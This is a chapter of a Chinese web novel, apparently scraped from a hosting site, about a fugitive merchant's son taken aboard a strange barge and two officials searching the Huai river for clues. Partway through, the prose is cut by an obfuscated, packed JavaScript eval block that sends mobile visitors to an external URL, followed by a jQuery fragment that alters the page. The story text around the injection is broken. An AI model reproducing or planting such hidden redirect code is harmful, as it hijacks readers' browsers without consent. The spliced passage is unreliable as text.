噔、噔、噔。


    脚步声杂乱，似有鬼追。


    这人跑得急，几步跨了栈桥涉水而来，跳上船后，匆忙夺过船夫的桨就往河中央划去。


    “我的桨！你作甚！”船夫惊怒。


    小船已窜出十几尺，船夫扑上去夺，只抢回个沉甸甸的金线荷包。


    入手一掂，嘿！满袋碎银！船夫到嘴的骂声咽了回去，挤着笑：“贵、贵人！撑船脏手，小的来！您去哪？”


    那人瘫在船沿，粗喘如牛，汗湿的发黏在惨白的脸上。船夫接了桨，问：“贵人欲往何处？”


    来人还在歇息，喘着气，抬手指了个方向。


    船夫顺势看了过去，好悬没闪瞎眼。


    这这这，他在淮水上摆渡十五载，载过的贵客不计其数，自诩看遍了天下的富贵，却也没见过这样的舫船。


    过往游过的官船商舫，在他眼里与一堆漂亮木头无异，按斤两算钱的话，无非是雕花精些，漆面亮些，怜人穿得花哨些。可这艘与船夫先前见过的都不同，三层楼阁飞檐，压秤的富贵，吃水线却极浅。


    船首衔一颗隋侯珠照明，隔着雨帘，幽幽散着光。待船夫靠近了瞧，偌大的船，几乎要占满整个河道，滑过水面时，一丝动静也无。


    船夫手心黏腻，攥着冰凉的桨。喉咙发干，想喊，却哑了。


    ——这不是普通的画舫。


    他心下忐忑，想起那袋银子，还是卯足了劲儿往边上靠。离得愈近，愈能感受到这庞然大物的可怖之处。


    心境作祟，原本腻如绸般的细丝变成了豆子，一颗颗砸在船夫脸上，叫他几乎睁不开眼睛。


    隐在水下的船体尖且细，船却行得稳。背风处站着一姑娘，双环的髻，粉裙黄衫，正倚着栏杆笑眯眯往下瞧。


    她问：“客人行色匆匆，是从何处来？”


    船上的年轻人听见问话，方醒神似的，可他抬眼，又被面前这巨物吓了一跳，腿霎时更软了，哆哆嗦嗦开口，就先咳了一通。蕴了一路的接头语被铁锈味死死压着，愣是吐不出一个清晰的字来。


    见他面色青白，船夫甚至怀疑他下一瞬就能猝死在船上，连忙上前给他顺气。这一顺人不要紧，手顺势拍落了他袖间夹着的东西。


    纸页轻飘飘的，眼看要挨着水面，一只雀鸟自天际疾掠而下，尖喙拾起失物，展翅滑行了一段，倏而仰冲，抖落一翅水在那姑娘手边。


    年轻人终于不咳了，心想：哪儿来的东西？


    忆起那位指路的人，他全身汗毛都倒竖了起来，她是何时将东西放到自己身上的？自己竟然毫无察觉？


    “……剑悬金石交。哎呀，原来是章泉府的客人，失敬失敬。”


    章泉府？


    临行前父亲还为其卡了棣州的商道而大发雷霆，叫自己有家不敢回。


    他急忙否认道：“诶，我不是——”


    “蘅娘子！有客来访！”姑娘对他的解释毫无兴趣，高声喊了一句，随手挥走雀儿，向船内走去。


    梁琢这下急得要站起来了，“姑娘别喊！”说完他捂住了嘴，屡屡回头，发觉栈桥已在数十里外，黑洞洞的渡口镶着两粒光，仍张牙舞爪地要来抓他。


    风摇树影，烛火难明，可怖、可悲。


    他捂着脸，不知自己缘何就落到了如此境地。


    数日前他还沉浸在故友相见的喜悦里，对酒当歌好不快意。孰料再醒来时身处一叶孤舟，身前江水茫茫，身侧衣食兼备，唯独不见自家船队的影子。


    疏于水上经验，他摇了三日橹，硬是从新手练至小有所成，方才堪堪将船靠了岸。


    当即马不停蹄往临淮赶，行至半途，却闻棣州漕运失窃一事。临淮都全面戒严，路往的客船或绕行、或堵在了沿江渡口，传言比江风流散的还要快。


    ——他听见了自己的名字，作为棣州与某位大人物勾结的“人证”被下了狱。


    彼时彼刻，就是榆木脑子都能想明白其中的关窍。


    “然后呢？”粉衫姑娘问。她立在船沿，舷梯应声而落，架在两船之间。


    梁琢说：“朝廷定是误会了，梁使相为人正直，怎会有不轨之心？我此去临淮，正是要面见圣人，讲明其中缘由，不至无辜冤枉了好人。”


    他踩着舷梯往舫上走，略过了粉衫姑娘落下来的目光，星星点点带着点悲悯。


    站定后，他抬头向人道谢，姑娘神色如常，同他行了个文人间的礼节，随后抛下一把金叶子落在船夫脚边。


    “多谢船家为我贵客引渡。”


    珠光时隐时现，温润的光带隔开一艘陈旧的渡船，恍若天上人间。


    梁琢的心兀自被那佝偻仓皇的背影刺了一下。但他一时理不清这种思绪，心道，这世道还是好人多一点。


    客船不往临淮走，自己一时不能拿出“梁琢”的凭引，甚至被官府的差役当做了流窜的匪贼，叫他苦不堪言了好几日。


    若非得人引路，如此境况，他的下场必定凄惨。那指路的人说得果然没错，这舫主人是天下一等一的大善人，竟愿收留他一个身份不明之人。


    ——虽然对方认错了人。


    也罢，章泉府就章泉府，总归靠的是同一片海，说不准祖上还流着相同的血脉。


    梁琢调理好心态，随那粉衫姑娘入了舫内。


    一时温香扑鼻，仿若另一方人间仙境。


    ——


    烟波浩渺，杜若兰被雾气激出了一个又一个喷嚏。可她动作始终不敢太大，人坐在船头，不仔细看几乎发现不了她的身影。


    她苦恼地想，下水的又不是我，为何我会感到如此寒冷呢？


    人一旦心神不宁，耳畔任何细微的动静都能成为焦灼的来源。杜若兰听着河畔杂乱的鸟鸣，兀自沉思。


    不待她想出个所以然，水面涟漪乍现，两道人影接连破水而出，前一道未着惯常的官服，一身素色里衫湿了透彻，贴出底下匀称的肌骨。她撑着船沿起身，手臂发力，还未看清如何动作，人就轻巧跃起落在了船上。


    都说乱拳打死老师傅，杜若兰不好自认老，却怀疑自己能否熬过贺指挥使手下这一拳。


    跟在其后的是另一道玄色身影，燕九唇色惨白，甫一落地已有欲坠之势。


    贺玉仍未喊停，端坐在船中央，随行的小吏战战兢兢递来一方干巾，后背汗如雨下，一刻也不得停。


    他问：“不知贺大人对长风津还有何疑虑么？”


    先前秦公派人将水底翻了个天，闹腾了数日，这次闻风台又来了人，说什么也要再去水底探上一探。


    他不禁想，难道这水底真有丢失的钱帛？


    还是说这位指挥使有大神通，能清楚认得水底每一颗砂砾的前身？


    贺玉擦着头发，平静回道：“疑虑没有，倒有一颗冒着凛风下水游玩的心。”


    小吏顿觉失言，讪笑几声，不做声了。


    这才瞄到窝在角落里的杜若兰，心想，她倒是好躲。


    然而，个人的悲喜并不相通。杜若兰心中的惊惧并不比他少。


    可怜的杜侍郎，原以为等在长风津的是焦急的摆渡人，听步涉萍形容，那船真是漏了好大一个洞，听得杜若兰心焦不已，生怕淮水又吞了几条人命。


    她匆忙赶来，那的确是好大一个洞——


    也是好大一艘船。


    谁会用走舸摆渡呢？


    她真傻，真的。她一个工部侍郎，连枪兵都没摸过，哪里会修战船。


    她是如此对贺玉说的，也是如此被她拽上船的。对方的要求并不苛刻：不漏水即可。


    杜若兰两手空空，却对拆东墙补西墙一事熟练于心，当即去附近的人家讨了工具来，背着几道灼热的目光拆了道舱门将窟窿补上了。


    她如实向贺玉交代：这舸现下只能做应急用，万不能长久行驶，复漏只是时间问题。


    贺指挥使并未在意，行至水中央，就带着身边一名下属下水探查，反复如此，距今已有半个时辰之久。


    水下有什么呢？杜若兰连日泡在淮水里，心知肚明底下除了淤泥与乱石，什么都不会有。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16559655|186814||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    但观贺玉越皱越紧的眉心，水下的确又像有什么东西。


    杜若兰看着那只燕子，看了看起身的贺玉，还是忍不住喊住了她：“大人，还请稍作歇息吧。”


    “时间紧迫，劳侍郎费心了。”贺玉答得不容置疑。


    她下水前回头看了杜若兰一眼，那眼神十分微妙，上下一扫，带着几分打量和确认。


    看得杜若兰心里发毛。


    这次贺玉下去得格外久，再浮起时手里拎着一只泡了水的燕子。她将人抡上船，问先前那小吏，“可会划船？”


    小吏连连称会。贺玉仿照杜若兰先前的举动，将舸顶另一道门也拆了，扔到水里做了道浮板，又折了两根棍子给他：“见笑，司中人不堪重用，眼下不容耽搁，劳你将人送回闻风台医治。”


    听着贺玉毫无“见笑”的话，小吏巴不得早点下这艘贼船，当即点头称是，驮了人往浮板上跳，连“桨”都顾不上拿就用手划起了水。


    燕子走后，贺玉倚着墙，深深呼出一口气。


    船身随水波轻晃，天地间只剩下两道呼吸声，驱散了耳目，她眉宇间的焦躁与凝重也烟似的散去了。


    杜若兰忽然生出个荒诞的想法：折腾这么久，眼下难得的清净才是她此番下水唯一所求。


    她是个极为内敛的人，至少在杜若兰看来是这样。这些年鲜少见面，听着都里的传闻，贺玉在她心里几乎变成了个无坚不摧、冷心冷肺的模样。


    船上空了之后，杜若兰作为此地唯一一个长着血肉的活人，面对另一个同类的疲倦，本能觉得应该说些什么。


    恭维也好、请辞也罢，哪怕没有那块板子，让她游回岸边也是可行的。


    她脑子里有千种思绪，说出口的话却变成了：“你还好吗？”


    贺玉往身上套着外衫，闻言应了一声。


    片刻后，她问：“你会水吗？”


    什么？


    杜若兰惴惴不安，河畔那只作乱的鸟雀趁机钻进她心口，胡冲乱撞。


    她点头：“下官水性尚可。”


    她不住想：是要灭口吗？可她什么也没看见，什么也没听着啊？


    难道这走舸的构造是什么重大机密？


    又或者这水底下真有什么不能让她知道的东西？


    一声哨响，那只鸟雀从她心口飞了出来，真真切切掠过上空，停在贺玉手背上。


    杜若兰当即闭上了眼睛，不敢看了。


    什么密信要支开下属才能看呢，那一定是要杀头的东西吧。


    我是瞎子，我什么都看不见。


    小钱儿，以后背靠淮河水，喝的每一口都是师傅临终前对你的祝愿。


    “——杜若兰。”


    贺玉首次连名带姓地喊她，平静的声音幻化成只大手，把她出逃的三魂七魄一并揪了回来，重新塞回那颗“不堪重用”的脑子里：“这舸几时会沉？”


    这脑子转了转，回答道：“诶，那位津吏走了无人舀水，但船是空载，约莫还能撑上一两个时辰。”


    “好。”贺玉一锤定音。


    她的眼神如此诚挚，随着那只垂落在身侧的手，一齐落到了杜若兰身上。


    她问：“我想请你帮一个忙，可以吗？”


    ——有什么是闻风台做不来而自己能做的事呢？


    “危险”和“警惕”的影子一瞬间膨胀得很大，肩并肩站在对岸朝杜若兰招手，诱惑着她摇头。


    可眼前人，有着这样一双澄澈的眼睛，一如往昔。


    杜若兰又握住了那把伞，站在御苑那条紫藤花盛开的廊下——鬼使神差地点了头。


    “好。”


    “半炷香的时间，撑不住了就告诉我。”


    下一瞬，她听到条“屏息”的指令，就被人拽着一同扎进了刺骨的淮水里。


    行吧，她也是从小凫水到大的人,这似乎也不是件难事。


    她做好了心理准备，可贺玉并未带着她往下沉，反而是快速往下游的岸边游去。


    临淮都城的方向。